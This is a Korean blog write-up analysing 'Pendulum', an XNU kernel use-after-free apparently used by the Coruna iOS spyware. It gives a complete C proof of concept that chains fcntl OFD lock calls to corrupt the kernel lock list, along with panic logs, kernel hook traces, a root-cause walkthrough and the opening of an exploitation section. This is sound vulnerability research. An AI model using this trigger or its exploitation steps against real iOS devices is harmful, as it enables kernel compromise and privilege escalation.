콘텐츠로 건너뛰기

[실습] Coruna에서 사용된 Pendulum PE 커널 취약점 알아보기 (NoCVE-CorunaPEPendulum)

관련 글과 코드들은 아래 링크에서 확인하실 수 있습니다.

https://github.com/wh1te4ever/xnu_1day_practice/tree/main/NoCVE-CorunaPEPendulum

올해 3월에는 Coruna와 DarkSword 등 iOS 기기를 타겟으로 한 여러 스파이웨어가 포착되었다. 지금도 유포중인데, 구글 블로그에 따르면, Coruna에서는 총 6종류의 PE(Privilege Escalation), 즉 6개의 커널 취약점이 사용되었다.

이 중 CVE로 공식 발표되지 않은 커널 취약점은 총 2개(Pendulum, Gruber)이며, 3월에 Gruber 취약점을 AI를 이용해 원 소스코드로 복원(iPad 7에서의 시연 영상)하고 VMApple 가상머신으로 포팅하는데에도 성공하였으나, 취약점 근본 원인을 이해하는데 어려움이 있어서 분석을 보류했다. littlelalio씨가 작성한 글에 Gruber 취약점 관련 분석 내용이 들어있기 때문에 대신 참고하면 좋을 듯 싶다.

따라서 Gruber 대신에 Pendulum 커널 취약점을 분석해보기로 하였다.

커널 취약점(Pendulum PE) 들어있는 바이너리 추출하기

타겟은 아이폰8, iOS 14.4.2 (Taurine으로 탈옥됨) 기기를 대상으로 진행하였다.

추출하는 방법은 간단하며, Tweak Injection을 비활성화한 상태로 탈옥을 진행한 다음에 lldb로 WebContent 프로세스에 attach한다. compression_decode_buffer에 브레이크포인트틀 걸면, 아마 총 2번의 브레이크포인트가 hit될텐데, 마지막(2번째)에서 걸린 브레이크포인트에서 덤프하면 된다.

Screenshot 2026-07-22 at 3.48.34 PM.png

덤프해보면, 총 3개의 mach-o 파일로 구성된 덩어리가 나온다.

케이스마다 다를겠지만 나의 경우, 2번째 높은 주소에 있는 30158h 부분을 추출했더니 커널 취약점이 들어있는 바이너리를 구할 수 있었다.

pendulum_pe.bin

Screenshot 2026-07-22 at 3.49.48 PM.png

분석

worker_thread_main(0x4d38)에서 커널 취약점을 트리거하며

Screenshot 2026-07-22 at 7.03.44 PM.png

Screenshot 2026-07-22 at 7.29.20 PM.png

참고하면서 poc 코드를 작성할 수 있었다.

#include <sys/types.h>
#include <sys/fcntl.h>

#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define F_OFD_SETLK 90

int ofd_set_lock(int fd, short type, off_t start, off_t length)
{
    struct flock fl;

    memset(&fl, 0, sizeof(fl));

    fl.l_start  = start;
    fl.l_len    = length;
    fl.l_pid    = 0;
    fl.l_type   = type;
    fl.l_whence = SEEK_SET;

    return fcntl(fd, F_OFD_SETLK, &fl);
}

int
main(void)
{
    int fd = open("/dev/urandom", O_RDONLY);
    if (fd < 0) {
		printf("[-] open /dev/urandom failed: %s(%d)\n", strerror(errno), errno);
        return -1;
    }
	printf("[i] /dev/urandom fd: %d\n", fd);

	if (ofd_set_lock(fd, F_RDLCK, 10, 10) != 0)  {
		return -1;
	}

	if (ofd_set_lock(fd, F_RDLCK, (off_t)INT64_MAX, (off_t)0) < 0) {
        return -1;
    }

	if (ofd_set_lock(fd, F_UNLCK, (off_t)30, (off_t)0x7fffffffffffffe2ULL) < 0) {
        return -1;
    }

	if (ofd_set_lock(fd, F_RDLCK, (off_t)15, (off_t)10) < 0) {
        return -1;
    }
	close(fd);

	printf("[*] didn't panic? rerun again\n");
    while(1) {};

    return 0;
}

Inferno를 이용한 아이폰11/iOS 14.0b5 에뮬레이터에서 poc를 실행시켜보면, 할당해제된 default.kalloc.96 존에서 사용된 흔적이 발견되었다면서 커널 패닉이 발생한다. (UAF)

aggregated라는 프로세스에서 default.kalloc.96 존으로부터 커널 메모리를 할당받으려할때 발생한 모양이다…

Screenshot 2026-07-21 at 8.50.21 AM.png

Screenshot 2026-07-21 at 8.52.06 AM.png

seo@seos-MacBook-Air ios14b5 % lldb kernel.research.iphone12b
(lldb) target create "kernel.research.iphone12b"
Current executable set to '/Volumes/sn850x_apfs/ios14b5/kernel.research.iphone12b' (arm64e).
(lldb) gdb-remote 1234
Kernel UUID: FDDAF386-4EA2-35FC-8235-1F167AEFD6F3
Load Address: 0xfffffff007004000
Kernel slid 0x0 in memory.
Loaded kernel file /Volumes/sn850x_apfs/ios14b5/kernel.research.iphone12b
Process 1 stopped
* thread #1, stop reason = signal SIGTRAP
    frame #0: 0xfffffff008125a14 kernel.research.iphone12b`arm64_retention_wfi + 4
kernel.research.iphone12b`arm64_retention_wfi:
->  0xfffffff008125a14 <+4>:  cbz    x30, 0xfffffff008125a1c ; <+12>
    0xfffffff008125a18 <+8>:  ret
    0xfffffff008125a1c <+12>: mov    x0, #0x1 ; =1
    0xfffffff008125a20 <+16>: bl     0xfffffff007b60ffc ; ClearIdlePop
Target 0: (kernel.research.iphone12b) stopped.
(lldb) breakpoint set -H -n panic
Breakpoint 1: where = kernel.research.iphone12b`panic, address = 0xfffffff0097db944
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #3, stop reason = breakpoint 1.1
    frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic
kernel.research.iphone12b`panic:
->  0xfffffff0097db944 <+0>:  pacibsp
    0xfffffff0097db948 <+4>:  sub    sp, sp, #0x20
    0xfffffff0097db94c <+8>:  stp    x29, x30, [sp, #0x10]
    0xfffffff0097db950 <+12>: add    x29, sp, #0x10
Target 0: (kernel.research.iphone12b) stopped.
(lldb) bt
* thread #3, stop reason = breakpoint 1.1
  * frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic
    frame #1: 0xfffffff008127ee4 kernel.research.iphone12b`zone_element_not_clear_panic + 60
    frame #2: 0xfffffff007a9156c kernel.research.iphone12b`zalloc_validate_element + 236
    frame #3: 0xfffffff007a94d34 kernel.research.iphone12b`zcache_alloc_from_cpu_cache + 292
    frame #4: 0xfffffff007a92d3c kernel.research.iphone12b`zalloc_ext + 60
    frame #5: 0xfffffff007a3bf74 kernel.research.iphone12b`kalloc_ext + 152
    frame #6: 0xfffffff007e6a154 kernel.research.iphone12b`lf_advlock + 380
    frame #7: 0xfffffff007e46fb4 kernel.research.iphone12b`sys_fcntl_nocancel + 12540
    frame #8: 0xfffffff007f7fc80 kernel.research.iphone12b`unix_syscall + 724
    frame #9: 0xfffffff007b56c6c kernel.research.iphone12b`sleh_synchronous + 716
    frame #10: 0xfffffff00811c5f4 kernel.research.iphone12b`fleh_synchronous + 40
    frame #11: 0x000000018b6e6214 
    frame #12: 0x000000018d677bf8
    frame #13: 0x000000018d5e6310
    frame #14: 0x000000018d617140
    frame #15: 0x000000018d6165b4
    frame #16: 0x000000018d5e0fac
    frame #17: 0x000000018d60f3e4
    frame #18: 0x000000018d5ff7ac
    frame #19: 0x00000001b574035c
    frame #20: 0x00000001b57232f4
    frame #21: 0x000000018b5a5ac8
    frame #22: 0x000000018b5b3c8c
    frame #23: 0x00000001b56edebc
    frame #24: 0x00000001b5723210
    frame #25: 0x00000001b5723a04
    frame #26: 0x00000001b56ad80c
    frame #27: 0x00000001b56ae740
    frame #28: 0x00000001b56a9274
    frame #29: 0x00000001b56eded8
    frame #30: 0x00000001b56a91f8
    frame #31: 0x00000001b56ae160
    frame #32: 0x00000001b56d3b24
    frame #33: 0x00000001b56d3fb4
    frame #34: 0x00000001b56d3098
    frame #35: 0x000000018b5a3fd0
    frame #36: 0x000000018b5a5ac8
    frame #37: 0x000000018b5acc08
    frame #38: 0x000000018b5ad768
    frame #39: 0x000000018b5b7528
    frame #40: 0x000000018b612908
(lldb) c
Process 1 resuming
bash-5.2# ./pendulum_poc
[i] /dev/urandom fd: 3
[*] didn't panic? rerun again
Attempting to forcibly halt cpu 4
cpu 4 failed to halt with error -5: halt not supported for this configuration
Attempting to forcibly halt cpu 5
cpu 5 failed to halt with error -5: halt not supported for this configuration
Debugger synchronization timed out; waited 10000000 nanoseconds
IOPlatformPanicAction -> AppleANS2NVMeController
IOPlatformPanicAction -> AppleT8027USBXDCI
IOPlatformPanicAction -> AppleS5L8960XWatchDogTimer
not enabling long period watchdog (cleared SoC watchdog if enabled prior), panic SoC watchdog disabled
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> AppleSMC
AppleSMC detected kPanicBegin
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleT8030PMGR
panic(cpu 2 caller 0xfffffff008127ee4): "Zone element 0xffffffe19d2239c0 was modified after free for zone default.kalloc.96: " "Expected element to be cleared"
Debugger message: panic
Memory ID: 0x0
OS release type: Beta
OS version: 18A5351d
Kernel version: Darwin Kernel Version 20.0.0: Wed Aug 12 22:56:55 PDT 2020; root:xnu-7195.0.33~64/RELEASE_ARM64_T8030
Kernel UUID: FDDAF386-4EA2-35FC-8235-1F167AEFD6F3
iBoot version: ChefKiss QEMU Apple Silicon
secure boot?: YES
Paniclog version: 13
Kernel text base:  0xfffffff007004000
mach_absolute_time: 0x1f9ae95f3
Epoch Time:        sec       usec
  Boot    : 0x6a5eb336 0x000de0e9
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x6a5eb496 0x00076724

Panicked task 0xffffffe19c0e5900: 1325 pages, 7 threads: pid 70: aggregated
Panicked thread: 0xffffffe19cb69d10, backtrace: 0xffffffe81abc2fa0, tid: 4089
		  lr: 0xfffffff007a2af48  fp: 0xffffffe81abc2fe0
		  lr: 0xfffffff007a2ad48  fp: 0xffffffe81abc3050
		  lr: 0xfffffff007b64940  fp: 0xffffffe81abc3070
		  lr: 0xfffffff007b56e1c  fp: 0xffffffe81abc3130
		  lr: 0xfffffff00811c5f4  fp: 0xffffffe81abc3140
		  lr: 0xfffffff007a2aa30  fp: 0xffffffe81abc34c0
		  lr: 0xfffffff007a2aa30  fp: 0xffffffe81abc3520
		  lr: 0xfffffff0097db97c  fp: 0xffffffe81abc3540
		  lr: 0xfffffff008127ee4  fp: 0xffffffe81abc3570
		  lr: 0xfffffff007a9156c  fp: 0xffffffe81abc35b0
		  lr: 0xfffffff007a94d34  fp: 0xffffffe81abc35f0
		  lr: 0xfffffff007a92d3c  fp: 0xffffffe81abc3630
		  lr: 0xfffffff007a3bf74  fp: 0xffffffe81abc3650
		  lr: 0xfffffff007e6a154  fp: 0xffffffe81abc38e0
		  lr: 0xfffffff007e46fb4  fp: 0xffffffe81abc3da0
		  lr: 0xfffffff007f7fc80  fp: 0xffffffe81abc3e30
		  lr: 0xfffffff007b56c6c  fp: 0xffffffe81abc3ef0
		  lr: 0xfffffff00811c5f4  fp: 0xffffffe81abc3f00

!! debugger synchronization failed, no stackshot !!
IOPlatformPanicAction -> AppleANS2NVMeController
IOPlatformPanicAction -> AppleT8027USBXDCI
IOPlatformPanicAction -> AppleS5L8960XWatchDogTimer
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> AppleSMC
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleT8030PMGR
IOPlatformPanicAction -> AppleANS2NVMeController
IOPlatformPanicAction -> AppleT8027USBXDCI
IOPlatformPanicAction -> AppleS5L8960XWatchDogTimer
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> AppleSMC
AppleSMC detected kPanicEnd
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleT8030PMGR
IOPlatformPanicAction -> AppleANS2NVMeController
IOPlatformPanicAction -> AppleT8027USBXDCI
IOPlatformPanicAction -> AppleS5L8960XWatchDogTimer
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> AppleSMC
IOPlatformPanicAction -> RTBuddyV2
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleMCA2Cluster_T8030
IOPlatformPanicAction -> AppleT8030PMGR
wdog panic (attempt 1)
not enabling long period watchdog (cleared SoC watchdog if enabled prior), panic SoC watchdog disabled
seo@seos-MacBook-Air ios14b5 %

ofd_set_lock?

해당 함수는 같은 파일을 사용하는 여러 실행 주체가 특정 바이트 범위에 동시에 접근하지 않도록 협력적으로(advisory) 조정하는 함수로 보면 된다.

변경을 영구적으로 금지하는 것은 아니다.

잠금 규칙을 지키는 여러 프로세스나 스레드가 동시에 같은 영역을 수정하여 데이터가 손상되는 일을 방지하는 것이며, 만약 fork()로 생성된 자식 프로세스가 부모가 잠근 구간과 겹치는 잠금을 시도(fcntl)한다면, 잠금 획득을 실패하여 Resource temporarily unavailable 에러를 반환한다.

따라서 같은 구간에 fcntl() 잠금을 걸고 작업하는 프로그램은 충돌을 감지해 변경을 피할 수 있을 것이며, 하지만 잠금을 확인하지 않는 프로그램은 그냥 write()pwrite()로 해당 구간을 변경할 수 있을것이다.

int ofd_set_lock(int fd, short type, off_t start, off_t length)
{
    struct flock fl;

    memset(&fl, 0, sizeof(fl));

    fl.l_start  = start;
    fl.l_len    = length;
    fl.l_pid    = 0;
    fl.l_type   = type;
    fl.l_whence = SEEK_SET;

    return fcntl(fd, F_OFD_SETLK, &fl);
}

Root Cause 분석

이번에는 유저랜드 → 커널까지 코드를 살펴봤다.

하나의 지도로, 모든걸 다 설명하기엔 힘드니 차근차근 살펴보자.

Drawing 2026-07-23 00.52.04.excalidraw-fs8.png

Poc 코드에서 각 코드블록인 (A), (B), (U), © 각각 나누어서, 커널 후킹 결과와 함께 설명해보겠다.

Drawing 2026-07-24 19.32.58.excalidraw-fs8.png

커널 후킹 결과:

[  871.341437]: lf_advlock_hook ap=0xffffffe804c93b70
[  871.341440]:   desc=0xfffffff0256ced90 vp=0xffffffe19cc90d90 id=0xffffffe1a06f6700 op=8 fl=0xffffffe804c939b0 flags=0x400 context=0xffffffe804c93970 timeout=0
[  871.341447]:   flock start=10 len=10 pid=0 type=1 whence=0
[  871.341453]: lf_findoverlap_hook lf=0 lock=0xffffffe4cdf18720 type=2 prev=0xffffffe804c93660 overlap=0xffffffe804c93658
[  871.341458]:   lock flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0
[  871.341465]: lf_findoverlap ret=0 prev_value=0xffffffe19cc90e58 overlap_value=0
[  871.341469]: lf_findoverlap_hook lf=0 lock=0xffffffe4cdf18720 type=1 prev=0xffffffe804c93650 overlap=0xffffffe804c93648
[  871.341473]:   lock flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0
[  871.341479]: lf_findoverlap ret=0 prev_value=0xffffffe19cc90e58 overlap_value=0

[  871.341485]: lf_advlock_hook ap=0xffffffe804c93b70
[  871.341487]:   desc=0xfffffff0256ced90 vp=0xffffffe19cc90d90 id=0xffffffe1a06f6700 op=8 fl=0xffffffe804c939b0 flags=0x400 context=0xffffffe804c93970 timeout=0
[  871.341492]:   flock start=9223372036854775807 len=0 pid=0 type=1 whence=0
[  871.341496]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf114a0 type=2 prev=0xffffffe804c93660 overlap=0xffffffe804c93658
[  871.341501]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0
[  871.341507]:   lock flags=0x400 type=1 start=9223372036854775807 end=-1 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf114d8 block_next=0 block_prev=0 owner=0
[  871.341514]: lf_findoverlap ret=0 prev_value=0xffffffe4cdf18750 overlap_value=0
[  871.341517]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf114a0 type=1 prev=0xffffffe804c93650 overlap=0xffffffe804c93648
[  871.341521]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0
[  871.341527]:   lock flags=0x400 type=1 start=9223372036854775807 end=-1 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf114d8 block_next=0 block_prev=0 owner=0
[  871.341534]: lf_findoverlap ret=0 prev_value=0xffffffe4cdf18750 overlap_value=0

[  871.341618]: lf_advlock_hook ap=0xffffffe80ffe3880
[  871.341623]:   desc=0xfffffff0256ced90 vp=0xffffffe19cc90d90 id=0xffffffe1a06f6700 op=2 fl=0xffffffe80ffe39b0 flags=0x400 context=0xffffffe80ffe3970 timeout=0
[  871.341629]:   flock start=30 len=9223372036854775778 pid=0 type=2 whence=0
[  871.341634]: lf_clearlock_hook unlock=0xffffffe4cdf108a0
[  871.341636]:   unlock flags=0x400 type=2 start=30 end=9223372036854775807 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0
[  871.341644]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf108a0 type=1 prev=0xffffffe80ffe3480 overlap=0xffffffe80ffe3488
[  871.341648]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0xffffffe4cdf114a0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0
[  871.341655]:   lock flags=0x400 type=2 start=30 end=9223372036854775807 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0
[  871.341662]: lf_findoverlap ret=5 prev_value=0xffffffe4cdf18750 overlap_value=0xffffffe4cdf114a0
[  871.341666]: kfree_ext_hook heap=0xfffffff023c5e5d0 addr=0xffffffe4cdf108a0 size=0xffffffffffffffff

[  871.341684]: lf_advlock_hook ap=0xffffffe80ffe3b70
[  871.341686]:   desc=0xfffffff0256ced90 vp=0xffffffe19cc90d90 id=0xffffffe1a06f6700 op=8 fl=0xffffffe80ffe39b0 flags=0x400 context=0xffffffe80ffe3970 timeout=0
[  871.341692]:   flock start=15 len=10 pid=0 type=1 whence=0
[  871.341695]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf108a0 type=2 prev=0xffffffe80ffe3660 overlap=0xffffffe80ffe3658
[  871.341699]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0xffffffe4cdf114a0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0
[  871.341707]:   lock flags=0x400 type=1 start=15 end=24 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0
[  871.341713]: lf_findoverlap ret=0 prev_value=0xffffffe4cdf114d0 overlap_value=0
[  871.341716]: lf_findoverlap_hook lf=0xffffffe4cdf18720 lock=0xffffffe4cdf108a0 type=1 prev=0xffffffe80ffe3650 overlap=0xffffffe80ffe3648
[  871.341721]:   lf flags=0x400 type=1 start=10 end=19 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0xffffffe4cdf114a0 blk_first=0 blk_last=0xffffffe4cdf18758 block_next=0 block_prev=0 owner=0
[  871.341727]:   lock flags=0x400 type=1 start=15 end=24 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0
[  871.341734]: lf_findoverlap ret=4 prev_value=0xffffffe19cc90e58 overlap_value=0xffffffe4cdf18720
[  871.341737]: lf_findoverlap_hook lf=0xffffffe4cdf114a0 lock=0xffffffe4cdf108a0 type=1 prev=0xffffffe80ffe3650 overlap=0xffffffe80ffe3648
[  871.341742]:   lf flags=0x400 type=1 start=-9223372036854775808 end=-1 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0 blk_first=0 blk_last=0xffffffe4cdf114d8 block_next=0 block_prev=0 owner=0
[  871.341748]:   lock flags=0x400 type=1 start=15 end=24 id=0xffffffe1a06f6700 head=0xffffffe19cc90e58 vnode=0xffffffe19cc90d90 next=0xffffffe4cdf114a0 blk_first=0 blk_last=0xffffffe4cdf108d8 block_next=0 block_prev=0 owner=0
[  871.341755]: lf_findoverlap ret=2 prev_value=0xffffffe4cdf108d0 overlap_value=0xffffffe4cdf114a0
[  871.341758]: kfree_ext_hook heap=0xfffffff023c5e5d0 addr=0xffffffe4cdf108a0 size=0xffffffffffffffff

1번쨰 잠금 (A) 생성 (start=10, end=19)

우선, 유저랜드에서 ofd_set_lock에서 실행되는 fcntl은 커널의 sys_fcntlsys_fcntl_nocancel 에서 처리한다.

sys_fcntl_nocancel 은 다시한번 VNOP_ADVLOCK 함수를 호출하며,

Screenshot 2026-07-24 at 7.52.31 PM.png

열어둔 파일이 /dev/urandom이기 때문에 VLOCKLOCAL이 항상 세트되있다. 따라서 if_advlock 함수를 호출한다.

Screenshot 2026-07-24 at 7.53.12 PM.png

if_advlock 함수에서 switch (fl->l_whence) 구문을 살펴보면, start, oadd, end는 다음과 같다.

start = 10
oadd = 10-1 = 9
end = 10+9=1 

Screenshot 2026-07-24 at 8.13.15 PM.png

다음으로, if_advlock 함수에서 switch (ap->a_op) 구문을 살펴보면, F_UNLCK 에 해당되므로 lf_setlock을 호출한다.

lf_setlock 를 살펴보자. 최초로 잠금 목록을 생성하는 것이기 때문에 ovcase가 0 (OVERLAP_NONE)이 된다.

Screenshot 2026-07-24 at 8.19.51 PM.png

결과적으로, lock list는 아래와 같이 만들어진다. head → (A) → NULL

Screenshot 2026-07-24 at 8.32.06 PM.png

2번째 잠금 (B) 생성 (start=INT64_MAX, end=EOF)

전에 봐왔듯이, fcntlsys_fcntlsys_fcntl_nocancelVOP_ADVLOCKlf_advlock 순으로 호출된다.

lf_advlock에서 start=9223372036854775807 (INT64_MAX), end=-1 (EOF)로 지정된다.

Screenshot 2026-07-24 at 8.25.29 PM.png

lf_setlock를 살펴보자. 기존 A와 겹치는 잠금 부분이 없기 때문에 lf_findoverlap에서 0 (OVERLAP_NONE)을 반환한다.

Screenshot 2026-07-24 at 8.19.51 PM.png

따라서 lock list가 아래처럼 만들어진다. head → (A) → (B) → NULL

Screenshot 2026-07-24 at 8.31.29 PM.png

(U) 잠금 해제 (start=30, end=INT64_MAX) – 오버플로우 발생으로 잠금 B의 start가 INT64_MIN으로 수정됨

if_advlock 함수에서 switch (fl->l_whence) 구문을 살펴보면, start, oadd, end는 다음과 같다.

start=30, 
oadd = 9223372036854775778 -1 = 9223372036854775777,
end = 30 + 9223372036854775777 = 9223372036854775807 (INT64_MAX)

Screenshot 2026-07-24 at 8.40.15 PM.png

기존 (A), (B) 요청 때와는 달리 lf_clearlock을 호출하며,

Screenshot 2026-07-24 at 8.42.19 PM.png

lf_clearlock에서 lf_findoverlap을 살펴보면,

(B) = [start=INT64_MAX, end=EOF] (U) = [start=30, end=INT64_MAX]

(B)는 (U)의 마지막 위치에서 시작하여 EOF까지 이어지므로, 5 (OVERLAP_ENDS_AFTER_LOCK)를 반환한다.

Screenshot 2026-07-24 at 8.45.02 PM.png

여기서 문제인 점은, case OVERLAP_ENDS_AFTER_LOCK: 구문에서 INT64_MAX에 1이 더해짐으써, 오버플로우가 발생한다. 따라서 (B)의 start가 INT64_MIN으로 수정된다.

Screenshot 2026-07-24 at 8.48.47 PM.png

포인터 연결은 손상되지 않았지만, 더 작은 start 값을 가진 (B)가 정렬되어 있어야 하는 잠금 목록에서 (A) 뒤에 배치되었다.

추후 다음 © [start=15, end=24] 요청에서 잘못된 겹침 판정과 UAF를 유발하기 위해 의도된 중간 손상 상태를 띄우게 된다.

결과적으로, lock list는 아래와 같이 만들어진다.

head → (A) → (start가 INT64_MIN으로 수정된 B) → NULL

Screenshot 2026-07-24 at 8.57.59 PM.png

3번쨰 잠금 © 생성 (start=15, end=24)

if_advlock 함수에서 switch (fl->l_whence) 구문을 살펴보면, start, oadd, end는 다음과 같다.

start = 15, 
oadd = 10 -1 = 9,
end = 15 + 9 = 24

Screenshot 2026-07-24 at 9.07.45 PM.png

lf_setlock을 살펴보자.

for 반복루틴 중 첫번째 lf_overlap의 값을 알아보자면,

(A)는 [start=10, end=19]였고, (A)의 next는 (B)였지만, 새로운 ©는 [start=15, end=24]이다.

그 결과, (A)는 ©보다 앞에서 시작하고 [start=15, end=19] 구간에서 ©와 겹치므로, 4(OVERLAP_STARTS_BEFORE_LOCK)를 반환한다.

Screenshot 2026-07-24 at 9.13.32 PM.png

OVERLAP_STARTS_BEFORE_LOCK case 구문에 의하여, lock list 순서가 바뀌게 되는데.

Screenshot 2026-07-24 at 9.13.55 PM.png

결과적으로, lock list는 아래와 같이 만들어진다. A와 B 사이에 C가 생긴다고 볼 수 있다.

Screenshot 2026-07-24 at 9.16.44 PM.png

for 반복루틴 중 두번째 lf_overlap 값을 알아보자면,

후킹 결과에서 B.start=INT64_MIN이고, C.next = B인 것을 알 수 있다. 이는 이전의 ret = 4 처리가 C를 A와 B 사이에 연결했음을 확인시켜준다.

따라서 손상된 B = [INT64_MIN, EOF]는 C = [15, 24] 전체를 포함한다고 판정되므로, 2(=OVERLAP_CONTAINS_LOCK)을 반환한다.

Screenshot 2026-07-24 at 9.18.51 PM.png

손상된 (B)는 © 전체를 포함한다고 판정되며, (B)와 ©가 같은 F_RDLCK을 가지므로, ©는 불필요한 중복 잠금으로 처리되어 해제된다!

문제는 ©가 이미 목록에 연결되어 있는데도, 먼저 목록에서 제거되지 않은 채 FREE된다는 점이다.

따라서 다음과 같은 연결이 그대로 유지된다. A.next = C C.next = B

C가 해제되기 전에는 C 안에 C.next = B가 들어있다.

하지만 C가 해제된 후에는 C의 메모리 내용이 더 이상 보장되지 않으며, 그 결과 dangling pointer가 남게된다.

Screenshot 2026-07-24 at 9.21.44 PM.png

Exploitation

1. 버그 트리거

이미 Root Cause에서도 살펴봤지만, xnuspy가 지원되지 않는 환경에서도 취약점을 쉽게 이해할 수 있도록 ENABLE_HELPER 코드를 추가하였다. 실행 결과를 살펴보자.

int main(void)
{
... 
    // 000000000000512C
    // Trigger vuln
    // head -> A[10,14] -> C[15,24](FREED) -> B[INT64_MIN,EOF] -> NULL
    // The problem is that (C) is FREEd without first being removed from the list, 
    // even though it is already linked to the list.

    // still preserves like:
    // A.next = C
    // C.next = B

    // But after C is freed, however, the contents of C's memory are no longer guaranteed, 
    // leaving a dangling pointer.

	if (ofd_set_lock(urandom_fd, F_RDLCK, 10, 10) != 0)  {
		return -1;
	}
#if ENABLE_HELPER 
    uint64_t urandom_vnode = 0;
    uint64_t urandom_v_lockf = 0;
    uint64_t lf_start = 0; uint64_t lf_end = 0;
    uint64_t lf_head = 0;   uint64_t lf_next = 0;

    urandom_vnode = get_vnode_by_fd(urandom_fd);
    printf("[STAGE1] urandom_vnode = 0x%llX\n", urandom_vnode);
    urandom_v_lockf = tfp0_kread64(urandom_vnode + off_vnode_v_lockf);
    printf("[STAGE1] v_lockf(A) = 0x%llX\n", urandom_v_lockf);
    lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);
    lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);
    printf("[STAGE1] v_lockf(A)->lf_start = %lld, lf_end = %lld\n", lf_start, lf_end);
    lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);
    lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);
    printf("[STAGE1] v_lockf(A)->lf_head = 0x%llX, lf_next = 0x%llX\n", lf_head, lf_next);
